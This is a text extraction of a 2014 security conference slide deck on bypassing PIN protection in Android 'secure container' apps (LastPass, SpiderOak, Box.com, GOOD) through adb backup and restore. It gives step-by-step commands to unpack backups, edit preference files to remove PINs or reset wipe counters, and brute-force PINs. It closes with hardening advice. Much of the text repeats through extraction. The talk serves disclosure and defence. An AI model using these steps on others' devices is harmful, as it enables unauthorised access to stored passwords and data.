bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 14: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 25

Move the security closer

to the data

Chris John Riley | 22102014 | 26

Chris John Riley | 22102014 | 27

buthellip

Chris John Riley | 22102014 | 28

hellip I lost my phone

Chris John Riley | 22102014 | 29

314 mobile phones stolen in London every day

offenders traced three or four times out of 10

Source UK Metropolitan Police 012013

Chris John Riley | 22102014 | 30

state of

securityDevice

Source threatpost

Chris John Riley | 22102014 | 32

Chris John Riley | 22102014 | 33

Android PIN Brute-Force

bull Teensy devicebull Programmable USB HIDbull ~166 hours (4 digit PIN)

httpsforumshak5orgindexphptopic28165-payload-android-brute-force-4-digit-pin

KEEPCALM

Chris John Riley | 22102014 | 35

secure contaıners

wıll save us

Chris John Riley | 22102014 | 36

hellip or not

Chris John Riley | 22102014 | 38

Sc narıo

1

e

Chris John Riley | 22102014 | 39

Scenario

bull Given physical access to a devicebull What security do ldquosecurerdquo containers provide

bull temporary access (lt 3 minutes)bull permanent access

Chris John Riley | 22102014 | 41

buthellip

Chris John Riley | 22102014 | 42

remember

Chris John Riley | 22102014 | 43

secure containers

will SAVE us

Chris John Riley | 22102014 | 44

Chris John Riley | 22102014 | 46

G ALS

11

][

Chris John Riley | 22102014 | 47

TLDR

Chris John Riley | 22102014 | 48

pwn secure

contaıners

Chris John Riley | 22102014 | 49

G ALMYNOT

Chris John Riley | 22102014 | 50

bypass devıce PIN12

34

Chris John Riley | 22102014 | 51

r00t the device

Chris John Riley | 22102014 | 52

do anythıng resemblınghellip

Chris John Riley | 22102014 | 53

Chris John Riley | 22102014 | 54

Chris John Riley | 22102014 | 56

HOW O

2

][

Chris John Riley | 22102014 | 57

keep it simple

Chris John Riley | 22102014 | 58

Androıd Debug Brıdge

Chris John Riley | 22102014 | 59

ADB ndash Android Debug Bridge

bull Requires USB Debugging Enabledbull Doesnt require ROOTed device

bull Root grants further access makes things trivial

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 60

Chris John Riley | 22102014 | 61

adbcrash course

Chris John Riley | 22102014 | 62

ADB ndash Android Debug Bridge

Allows application side-loadingbull [un]install applications over adb

bull Doesnrsquot require device to be activebull Can be PIN locked (for some functions)bull New security implemented in 43

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 63

ADB ndash Android Debug Bridge

adb backupbull Backup Android device over adb (ICS onwards)

bull -system rarr system databull -apk rarr application apk

bull Can backup specific application data individually

adb backup comandroidapp -f backupab

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 64

adb restorebull Restore Android backup over adb (ICS onwards)

bull Restore specific application data individuallybull with or without application (apk)

adb restore backupab

ADB ndash Android Debug Bridge

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 65

adb pull sdcardsecrettxt secrettxt

ADB ndash Android Debug Bridge

adb pull pushbull Copy data to from device over adbbull Limited access for non-root users

bull no access to application config without rootbull Works on locked devices (PIN Protected)

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 66

ADB ndash Android Debug Bridge

adb shellbull Shell access on device

bull Send keys tapsbull Limited for non-root usersbull Works on locked devices (PIN Protected)

adb shell

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 67

Supporting Tools

bull opensslbull w zlib support compiled

bull starbull tar tool w added functionality we need

Chris John Riley | 22102014 | 69

3

][Closerlook

Chris John Riley | 22102014 | 70

Chris John Riley | 22102014 | 71

lastpass

Chris John Riley | 22102014 | 73

lastpass

Personal solution (w enterprise option)bull Uses online syncbull Can be secured with a PINbull Can wipe data after 5 false logonsbull Restricts screenshots

httpslastpasscomandroid

Chris John Riley | 22102014 | 74

lastpass

Can store lastpasscom passwordbull So users dont need to type it EVERY timebull Reduces securitybull Makes it usable

Chris John Riley | 22102014 | 75

Why store

the PW

Chris John Riley | 22102014 | 76

_mySecur3LsTp$$p$$w0rd1sDAb0mbampampamp

bull Easy to rememberbull Impossible to type

Chris John Riley | 22102014 | 77

Itrsquos

thoughOK

Chris John Riley | 22102014 | 78

You can enable a

PIN

Chris John Riley | 22102014 | 79

PIN Securitybull Limited to 4 digitsbull ldquoauto-Wiperdquo data

bull after 5 false logons

Chris John Riley | 22102014 | 80

PIN ==

SECURE

Chris John Riley | 22102014 | 82

AndroidManifestxml

Chris John Riley | 22102014 | 83

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

Chris John Riley | 22102014 | 84

Default true

Chris John Riley | 22102014 | 85

adb backup comlastpasslpandroid ndashf lpab

Chris John Riley | 22102014 | 86

What good is an ab file

Chris John Riley | 22102014 | 87

bull zlib compressed (kinda)bull skip header (24 bytes)bull pipe to openssl wzlib support

dd if=dropboxab bs=24 skip=1 |

openssl zlib -d gt dropboxtar

Android Backup (ab)

Chris John Riley | 22102014 | 89

LPandroidxml

bull lastpasscom usernamebull laspasscom password (encoded)bull PIN (encoded)bull Settingsbull

Chris John Riley | 22102014 | 90

Chris John Riley | 22102014 | 91

ltstring name=reprompt_triesgt

0ltstringgt

Chris John Riley | 22102014 | 92

That looks interesting

Chris John Riley | 22102014 | 93

( )THEORY

Chris John Riley | 22102014 | 94

if reprompt_tries lt 5

prompt_for_pin()else

drop_the_DBass()end

Chris John Riley | 22102014 | 95

Theory

bull reprompt_tries as iterator bull increases till it reaches 5bull Sounds reasonable

bull edit the XML and restore itbull Lets set ldquoreprompt_triesrdquo to -9999 then )

Chris John Riley | 22102014 | 96

Proposed Attack

bull Backup app databull Edit XML

bull set ldquoreprompt_triesrdquo to -9999

bull Repackagebull Restore

Chris John Riley | 22102014 | 98

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 99

Not the easiest process

Chris John Riley | 22102014 | 101

counter++

Chris John Riley | 22102014 | 102

Chris John Riley | 22102014 | 103

We get

tries10000

Chris John Riley | 22102014 | 104

Chris John Riley | 22102014 | 105

We get

tries10000

Chris John Riley | 22102014 | 106

Chris John Riley | 22102014 | 108

Letrsquos make it easier

Chris John Riley | 22102014 | 109

ltstring name=passwordrepromptonactivategt0ltstringgt

ltstring name=pincodeforrepromptgthellipltstringgt ltstring name=requirepingt0ltstringgt

Chris John Riley | 22102014 | 110

PROFIT

Chris John Riley | 22102014 | 111

Easier Attack

bull Backup app databull Edit XML

bull remove PIN

bull Repackagebull Restorebull WIN

easierhellip

Chris John Riley | 22102014 | 112

Chris John Riley | 22102014 | 113

>

Chris John Riley | 22102014 | 114

for points

Chris John Riley | 22102014 | 115

Persıstencepəˈsɪst(ə)ns

noun1 the fact of continuing in an opinion or course of action in spite of difficulty or opposition

Chris John Riley | 22102014 | 116

Persistence

bull Backup LastPass from device Abull Edit backup to remove PINbull Rebuild backup

bull Restore backup to device Bbull Close amp restart to re-sync changesbull Ongoing Profit

Chris John Riley | 22102014 | 117

but I RESET my password

Chris John Riley | 22102014 | 118

PROFIT++

Chris John Riley | 22102014 | 119

Chris John Riley | 22102014 | 120

spideroak

Chris John Riley | 22102014 | 121

Personal and business solutionsbull BIG on privacybull Not bad on security

spideroak

Chris John Riley | 22102014 | 122

I said not bad

Chris John Riley | 22102014 | 123

httpsspideroakcom

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
